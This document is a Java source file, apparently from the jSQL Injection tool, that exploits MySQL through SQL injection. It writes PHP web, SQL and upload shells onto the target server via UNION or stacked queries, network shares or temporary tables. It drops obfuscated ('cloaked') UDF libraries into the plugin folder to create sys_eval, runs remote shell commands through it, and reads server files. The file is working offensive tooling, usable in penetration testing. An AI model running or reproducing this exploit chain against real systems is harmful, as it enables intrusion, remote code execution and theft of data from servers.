1 package com.jsql.model.accessible.engine;
2
3 import com.jsql.model.InjectionModel;
4 import com.jsql.model.accessible.DataAccess;
5 import com.jsql.model.accessible.ExploitMode;
6 import com.jsql.model.accessible.ResourceAccess;
7 import com.jsql.model.accessible.engine.mysql.ModelYamlMysql;
8 import com.jsql.model.bean.database.MockElement;
9 import com.jsql.view.subscriber.Seal;
10 import com.jsql.model.exception.AbstractSlidingException;
11 import com.jsql.model.exception.JSqlException;
12 import com.jsql.model.exception.JSqlRuntimeException;
13 import com.jsql.model.injection.engine.model.EngineYaml;
14 import com.jsql.model.suspendable.SuspendableGetRows;
15 import com.jsql.util.LogLevelUtil;
16 import com.jsql.util.StringUtil;
17 import org.apache.commons.codec.binary.Hex;
18 import org.apache.commons.lang3.RandomStringUtils;
19 import org.apache.commons.lang3.StringUtils;
20 import org.apache.logging.log4j.LogManager;
21 import org.apache.logging.log4j.Logger;
22 import org.yaml.snakeyaml.Yaml;
23
24 import java.io.*;
25 import java.net.http.HttpResponse;
26 import java.nio.charset.StandardCharsets;
27 import java.nio.file.Files;
28 import java.nio.file.Path;
29 import java.nio.file.Paths;
30 import java.util.List;
31 import java.util.Objects;
32 import java.util.UUID;
33 import java.util.function.BiPredicate;
34 import java.util.function.BinaryOperator;
35
36 public class ExploitMysql {
37
38 private static final Logger LOGGER = LogManager.getRootLogger();
39 public static final String NAME_TABLE = "temp";
40 private final InjectionModel injectionModel;
41 private final ModelYamlMysql modelYaml;
42
43 private final BiPredicate<String, String> biPredCreateUdf = (String pathRemoteFolder, String nameLibraryRandom) -> {
44 try {
45 return this.buildSysEval(nameLibraryRandom);
46 } catch (JSqlException e) {
47 throw new JSqlRuntimeException(e);
48 }
49 };
50
51 public ExploitMysql(InjectionModel injectionModel) {
52 this.injectionModel = injectionModel;
53 var yaml = new Yaml();
54 this.modelYaml = yaml.loadAs(
55 injectionModel.getMediatorEngine().getMysql().instance().getModelYaml().getResource().getExploit(),
56 ModelYamlMysql.class
57 );
58 }
59
60 public String createWeb(String pathExploit, String urlExploit, String pathNetshare, ExploitMode exploitMode) throws JSqlException {
61 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE Web target requirements: web+db on same machine, FILE priv");
62
63 BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
64 this.injectionModel.sendToViews(new Seal.AddTabExploitWeb(urlSuccess));
65 return urlSuccess;
66 };
67 return this.create(pathExploit, urlExploit, "exploit.web", "web.php", biFuncGetRequest, pathNetshare, exploitMode);
68 }
69
70 public String createSql(String pathExploit, String urlExploit, String pathNetshare, ExploitMode exploitMode, String username, String password) throws JSqlException {
71 BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
72 var resultQuery = this.injectionModel.getResourceAccess().runSqlShell("select 1337", null, urlSuccess, username, password, false);
73 if (resultQuery != null && resultQuery.contains(ResourceAccess.SQL_CONFIRM_RESULT)) {
74 this.injectionModel.sendToViews(new Seal.AddTabExploitSql(urlSuccess, username, password));
75 return urlSuccess;
76 }
77 return StringUtils.EMPTY;
78 };
79 var urlSuccess = this.create(pathExploit, urlExploit, "exploit.sql.mysqli", ResourceAccess.SQL_DOT_PHP, biFuncGetRequest, pathNetshare, exploitMode);
80 if (StringUtils.isEmpty(urlSuccess)) {
81 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Failure with mysqli_query(), trying with pdo()...");
82 urlSuccess = this.create(pathExploit, urlExploit, "exploit.sql.pdo.mysql", ResourceAccess.SQL_DOT_PHP, biFuncGetRequest, pathNetshare, exploitMode);
83 }
84 if (StringUtils.isEmpty(urlSuccess)) {
85 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Failure with pdo(), trying with mysql_query()...");
86 urlSuccess = this.create(pathExploit, urlExploit, "exploit.sql.mysql", ResourceAccess.SQL_DOT_PHP, biFuncGetRequest, pathNetshare, exploitMode);
87 }
88 if (StringUtils.isEmpty(urlSuccess)) {
89 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "No connection to the database");
90 }
91 return urlSuccess;
92 }
93
94 public void createUpload(String pathExploit, String urlExploit, String pathNetshare, ExploitMode exploitMode, File fileToUpload) throws JSqlException {
95 BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
96 try (InputStream streamToUpload = new FileInputStream(fileToUpload)) {
97 HttpResponse<String> result = this.injectionModel.getResourceAccess().upload(fileToUpload, urlSuccess, streamToUpload);
98 if (result.body().contains(DataAccess.LEAD +"y")) {
99 LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, ResourceAccess.UPLOAD_SUCCESSFUL, pathExploit, fileToUpload.getName());
100 } else {
101 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.UPLOAD_FAILURE, pathExploit, fileToUpload.getName());
102 }
103 } catch (InterruptedException e) {
104 LOGGER.log(LogLevelUtil.IGNORE, e, e);
105 Thread.currentThread().interrupt();
106 } catch (IOException | JSqlException e) {
107 throw new JSqlRuntimeException(e);
108 }
109 return urlSuccess;
110 };
111 this.create(pathExploit, urlExploit, ResourceAccess.EXPLOIT_DOT_UPL, "upl.php", biFuncGetRequest, pathNetshare, exploitMode);
112 }
113
114
115
116
117
118 public String create(
119 String pathRemoteFolder,
120 String urlExploit,
121 String keyPropertyExploit,
122 String nameExploit,
123 BinaryOperator<String> biFuncGetRequest,
124 String pathNetshareFolder,
125 ExploitMode exploitMode
126 ) throws JSqlException {
127 if (this.injectionModel.getResourceAccess().isMysqlReadDenied()) {
128 return null;
129 }
130
131 String bodyExploit = StringUtil.base64Decode(
132 this.injectionModel.getMediatorUtils().propertiesUtil().getProperty(keyPropertyExploit)
133 )
134 .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
135 .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
136
137
138 BiPredicate<String, String> biPredConfirm = (String pathFolder, String nameFile) -> {
139 try {
140 String resultInjection = this.confirm(pathFolder + nameFile);
141 return resultInjection.contains(bodyExploit);
142 } catch (JSqlException e) {
143 throw new JSqlRuntimeException(e);
144 }
145 };
146
147 var nbIndexesPrefix = this.injectionModel.getMediatorStrategy().getSpecificUnion().getNbIndexesFound() - 1;
148 String nameExploitValidated = StringUtils.EMPTY;
149
150 if (exploitMode == ExploitMode.NETSHARE) {
151 ExploitMysql.copyBodyToShare(pathNetshareFolder + nameExploit, bodyExploit);
152 nameExploitValidated = this.byNetshare(
153 nbIndexesPrefix,
154 pathNetshareFolder,
155 nameExploit,
156 pathRemoteFolder,
157 biPredConfirm
158 );
159 } else if (exploitMode == ExploitMode.AUTO || exploitMode == ExploitMode.QUERY_BODY) {
160 nameExploitValidated = this.byQueryBody(
161 nbIndexesPrefix,
162 pathRemoteFolder,
163 nameExploit,
164 StringUtil.toHexChunks(bodyExploit.getBytes()),
165 biPredConfirm
166 );
167 }
168 if (StringUtils.isEmpty(nameExploitValidated) && exploitMode == ExploitMode.AUTO || exploitMode == ExploitMode.TEMP_TABLE) {
169 var nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit;
170 this.byTable(
171 StringUtil.toHexChunks(bodyExploit.getBytes()),
172 pathRemoteFolder + nameExploitRandom
173 );
174 if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
175 nameExploitValidated = nameExploitRandom;
176 }
177 }
178
179 if (StringUtils.isEmpty(nameExploitValidated)) {
180 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit creation failure: source file not found at [{}{}]", pathRemoteFolder, nameExploitValidated);
181 return null;
182 }
183 nameExploit = nameExploitValidated;
184 LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "Exploit creation successful: source file found at [{}{}]", pathRemoteFolder, nameExploitValidated);
185
186 return this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
187 }
188
189 public void createUdf(String pathNetshareFolder, ExploitMode exploitMode) throws JSqlException {
190 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "UDF target requirements: stack query, FILE priv");
191
192 if (this.injectionModel.getResourceAccess().isMysqlReadDenied()) {
193 return;
194 }
195
196 var nbIndexesFound = this.injectionModel.getMediatorStrategy().getSpecificUnion().getNbIndexesFound() - 1;
197 var pathPlugin = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getPathPlugin(), "plugin#dir");
198 if (StringUtils.isEmpty(pathPlugin)) {
199 throw new JSqlException("Incorrect plugin folder: path is empty");
200 }
201
202 String nameLibrary = this.getNameLibrary();
203
204 pathPlugin = pathPlugin.replace("\\", "/");
205 if (!pathPlugin.endsWith("/")) {
206 pathPlugin = String.format("%s%s", pathPlugin, "/");
207 }
208
209 if (!this.injectionModel.getMediatorStrategy().getStack().isApplicable()) {
210 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit UDF requires stack query, trying anyway...");
211 }
212 String isSuccess = StringUtils.EMPTY;
213 if (exploitMode == ExploitMode.NETSHARE) {
214 if (!pathNetshareFolder.endsWith("\\")) {
215 pathNetshareFolder += "\\";
216 }
217 ExploitMysql.copyLibraryToShare(pathNetshareFolder, nameLibrary);
218 isSuccess = this.byNetshare(
219 nbIndexesFound,
220 pathNetshareFolder,
221 nameLibrary,
222 pathPlugin,
223 this.biPredCreateUdf
224 );
225 } else if (exploitMode == ExploitMode.AUTO || exploitMode == ExploitMode.QUERY_BODY) {
226 if (StringUtil.GET.equals(this.injectionModel.getMediatorUtils().connectionUtil().getTypeRequest())) {
227 LOGGER.log(LogLevelUtil.CONSOLE_INFORM, "URL size limited when UDF with GET, if failure then use POST instead");
228 }
229 isSuccess = this.byQueryBody(
230 nbIndexesFound,
231 pathPlugin,
232 nameLibrary,
233 ExploitMysql.toHexChunks(nameLibrary),
234 this.biPredCreateUdf
235 );
236 }
237 if (StringUtils.isEmpty(isSuccess) && exploitMode == ExploitMode.AUTO || exploitMode == ExploitMode.TEMP_TABLE) {
238 var nameLibraryRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameLibrary;
239 this.byTable(ExploitMysql.toHexChunks(nameLibrary), pathPlugin + nameLibraryRandom);
240 this.biPredCreateUdf.test(pathPlugin, nameLibraryRandom);
241 }
242 }
243
244 private String getNameLibrary() throws JSqlException {
245 var versionOsMachine = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getOsMachine(), "system#spec");
246 if (StringUtils.isEmpty(versionOsMachine)) {
247 throw new JSqlException("Incorrect remote machine: unknown system");
248 }
249 var isWin = versionOsMachine.toLowerCase().contains("win") && !versionOsMachine.toLowerCase().contains("linux");
250 String nameLibrary;
251 if (versionOsMachine.contains("64")) {
252 nameLibrary = isWin ? "64.dll" : "64.so";
253 } else {
254 nameLibrary = isWin ? "32.dll" : "32.so";
255 }
256 return nameLibrary;
257 }
258
259 public String byQueryBody(
260 int nbIndexesPrefix,
261 String pathRemoteFolder,
262 String nameExploit,
263 List<String> hexChunks,
264 BiPredicate<String, String> biPredConfirm
265 ) {
266 String nameExploitValidated = StringUtils.EMPTY;
267 var pattern = this.modelYaml.getUdf().getAddFile().getQueryBody();
268
269 var nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit;
270 int countUnionIndex = this.injectionModel.getMediatorUtils().preferencesUtil().isLimitingUnionIndex()
271 ? this.injectionModel.getMediatorUtils().preferencesUtil().countUnionIndex()
272 : 15;
273 for (var i = Math.max(0, nbIndexesPrefix); i <= countUnionIndex ; i++) {
274 int finalI = i;
275 LOGGER.log(
276 LogLevelUtil.CONSOLE_DEFAULT,
277 "Checking file write with [union select {}fileBody]",
278 () -> "'',".repeat(finalI)
279 );
280 this.injectionModel.injectWithoutIndex(String.format(pattern,
281 "and 1=2 union",
282 "'',".repeat(i),
283 String.join(StringUtils.EMPTY, hexChunks),
284 pathRemoteFolder + nameExploitRandom
285 ), "body#union-dump");
286 if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
287 nameExploitValidated = nameExploitRandom;
288 break;
289 } else if (nbIndexesPrefix > -1) {
290 break;
291 }
292 }
293 if (StringUtils.isEmpty(nameExploitValidated)) {
294 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Query body connection failure with union, trying with stack...");
295 nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit;
296 this.injectionModel.injectWithoutIndex(String.format(pattern,
297 ";",
298 StringUtils.EMPTY,
299 String.join(StringUtils.EMPTY, hexChunks),
300 pathRemoteFolder + nameExploitRandom
301 ), "body#stack-dump");
302 if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
303 nameExploitValidated = nameExploitRandom;
304 }
305 }
306 return nameExploitValidated;
307 }
308
309 public String byNetshare(
310 int nbIndexesPrefix,
311 String pathNetshareFolder,
312 String nameExploit,
313 String pathRemoteFolder,
314 BiPredicate<String, String> biPredConfirm
315 ) {
316 String nameExploitValidated = StringUtils.EMPTY;
317 var pathShareEncoded = pathNetshareFolder.replace("\\", "\\\\");
318 var pattern = this.modelYaml.getUdf().getAddFile().getNetshare();
319
320 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Checking connection using netshare and union...");
321 var nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit;
322 this.injectionModel.injectWithoutIndex(String.format(pattern,
323 "and 1=2 union",
324 "'',".repeat(nbIndexesPrefix),
325 pathShareEncoded + nameExploit,
326 pathRemoteFolder + nameExploitRandom
327 ), "netshare#union");
328 if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
329 nameExploitValidated = nameExploitRandom;
330 }
331 if (StringUtils.isEmpty(nameExploitValidated)) {
332 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Checking connection using netshare and stack...");
333 nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit;
334 this.injectionModel.injectWithoutIndex(String.format(pattern,
335 ";",
336 StringUtils.EMPTY,
337 pathShareEncoded + nameExploit,
338 pathRemoteFolder + nameExploitRandom
339 ), "netshare#stack");
340 if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
341 nameExploitValidated = nameExploitRandom;
342 }
343 }
344 return nameExploitValidated;
345 }
346
347 public void byTable(List<String> bodyHexChunks, String pathRemoteFile) throws JSqlException {
348 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Checking connection with table and stack...");
349 var nameDatabase = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getAddFile().getTempTable().getNameDatabase(), "tbl#dbname");
350 if (StringUtils.isEmpty(nameDatabase) || StringUtil.INFORMATION_SCHEMA.equals(nameDatabase)) {
351 nameDatabase = "mysql";
352 }
353 var nameTableRandom = ExploitMysql.NAME_TABLE +"_"+ RandomStringUtils.secure().nextAlphabetic(8);
354 var nameSchemaTable = nameDatabase +"."+ nameTableRandom;
355 this.injectionModel.injectWithoutIndex(String.format(
356 this.modelYaml.getUdf().getAddFile().getTempTable().getDrop(),
357 nameSchemaTable
358 ), ResourceAccess.TBL_DROP);
359 var countResult = this.getCountTable(nameDatabase, nameTableRandom);
360 if (!"0".equals(countResult)) {
361 throw new JSqlException("Drop table failure: "+ countResult);
362 }
363 this.injectionModel.injectWithoutIndex(String.format(
364 this.modelYaml.getUdf().getAddFile().getTempTable().getCreate(),
365 nameSchemaTable
366 ), ResourceAccess.TBL_CREATE);
367 countResult = this.getCountTable(nameDatabase, nameTableRandom);
368 if (!"1".equals(countResult)) {
369 throw new JSqlException("Create table failure: "+ countResult);
370 }
371 int indexChunk = 0;
372 for (String chunk: bodyHexChunks) {
373 if (indexChunk == 0) {
374 this.injectionModel.injectWithoutIndex(String.format(
375 this.modelYaml.getUdf().getAddFile().getTempTable().getInsertChunks(),
376 nameSchemaTable,
377 chunk
378 ), "tbl#init");
379 } else {
380 this.injectionModel.injectWithoutIndex(String.format(
381 this.modelYaml.getUdf().getAddFile().getTempTable().getAppendChunks(),
382 nameSchemaTable,
383 chunk
384 ), ResourceAccess.TBL_FILL);
385 }
386 indexChunk++;
387 }
388 this.injectionModel.injectWithoutIndex(String.format(
389 this.modelYaml.getUdf().getAddFile().getTempTable().getDump(),
390 nameSchemaTable,
391 pathRemoteFile
392 ), ResourceAccess.TBL_DUMP);
393 }
394
395 private String getCountTable(String nameDatabase, String nameTableRandom) {
396 try {
397 return this.injectionModel.getResourceAccess().getResult(String.format(
398 this.modelYaml.getUdf().getAddFile().getTempTable().getConfirm(),
399 nameTableRandom,
400 nameDatabase
401 ), "tbl#check");
402 } catch (JSqlException e) {
403 return e.getMessage();
404 }
405 }
406
407 private boolean buildSysEval(String nameLibrary) throws JSqlException {
408 this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getAddFunction().getDrop(), "udf#drop");
409 this.injectionModel.injectWithoutIndex(String.format(
410 this.modelYaml.getUdf().getAddFunction().getCreate(),
411 nameLibrary
412 ), "udf#function");
413 var confirm = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getAddFunction().getConfirm(), "udf#confirm");
414 if (!confirm.contains("sys_eval")) {
415 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "UDF failure: sys_eval not found");
416 return false;
417 }
418 LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "UDF successful: sys_eval found");
419
420 this.injectionModel.sendToViews(new Seal.AddTabExploitUdf(
421 (String command, UUID terminalID) -> this.injectionModel.getResourceAccess().getExploitMysql().runRceCmd(command, terminalID)
422 ));
423 return true;
424 }
425
426 public String confirm(String path) throws JSqlException {
427 var sourcePage = new String[]{ StringUtils.EMPTY };
428 return new SuspendableGetRows(this.injectionModel).run(
429 this.modelYaml.getFile().getRead().replace(
430 EngineYaml.FILEPATH_HEX,
431 Hex.encodeHexString(path.getBytes(StandardCharsets.UTF_8))
432 ),
433 sourcePage,
434 false,
435 1,
436 MockElement.MOCK,
437 "xplt#confirm-file"
438 );
439 }
440
441 public String runRceCmd(String command, UUID uuidShell) {
442 String result;
443 try {
444 result = this.injectionModel.getResourceAccess().getResult(String.format(
445 this.modelYaml.getUdf().getRunCmd(),
446 command.replace(StringUtils.SPACE, "%20")
447 ), "udf#run-cmd") +"\n";
448 } catch (JSqlException e) {
449 result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
450 }
451 this.injectionModel.sendToViews(new Seal.GetTerminalResult(uuidShell, result));
452 return result;
453 }
454
455 public String getRead(String pathFile) throws AbstractSlidingException {
456 LOGGER.log(LogLevelUtil.CONSOLE_INFORM, "Read file requirement : user FILE privilege");
457 return new SuspendableGetRows(this.injectionModel).run(
458 this.injectionModel.getResourceAccess().getExploitMysql().getModelYaml().getFile().getRead().replace(
459 EngineYaml.FILEPATH_HEX,
460 Hex.encodeHexString(pathFile.getBytes(StandardCharsets.UTF_8))
461 ),
462 new String[]{ StringUtils.EMPTY },
463 false,
464 1,
465 MockElement.MOCK,
466 ResourceAccess.FILE_READ
467 );
468 }
469
470 private static List<String> toHexChunks(String filename) throws JSqlException {
471 try {
472 byte[] fileData = ExploitMysql.uncloak(filename);
473 return StringUtil.toHexChunks(fileData);
474 } catch (IOException e) {
475 throw new JSqlException(e);
476 }
477 }
478
479 private static void copyLibraryToShare(String pathNetshare, String nameLibrary) throws JSqlException {
480 try {
481 byte[] fileData = ExploitMysql.uncloak(nameLibrary);
482 Path copiedUncloaked = Paths.get(pathNetshare + nameLibrary);
483 try (FileOutputStream stream = new FileOutputStream(copiedUncloaked.toFile())) {
484 stream.write(fileData);
485 }
486 } catch (IOException e) {
487 throw new JSqlException(e);
488 }
489 }
490
491 private static void copyBodyToShare(String pathFile, String bodyExploit) throws JSqlException {
492 Path path = Paths.get(pathFile);
493 try {
494 Files.write(path, bodyExploit.getBytes());
495 } catch (IOException e) {
496 throw new JSqlException(e);
497 }
498 }
499
500 private static byte[] uncloak(String nameLibrary) throws IOException {
501 byte[] fileData = Objects.requireNonNull(
502 ExploitMysql.class.getClassLoader().getResourceAsStream("exploit/mysql/"+ nameLibrary +".cloak")
503 ).readAllBytes();
504 fileData = StringUtil.uncloak(fileData);
505 return fileData;
506 }
507
508 public ModelYamlMysql getModelYaml() {
509 return this.modelYaml;
510 }
511 }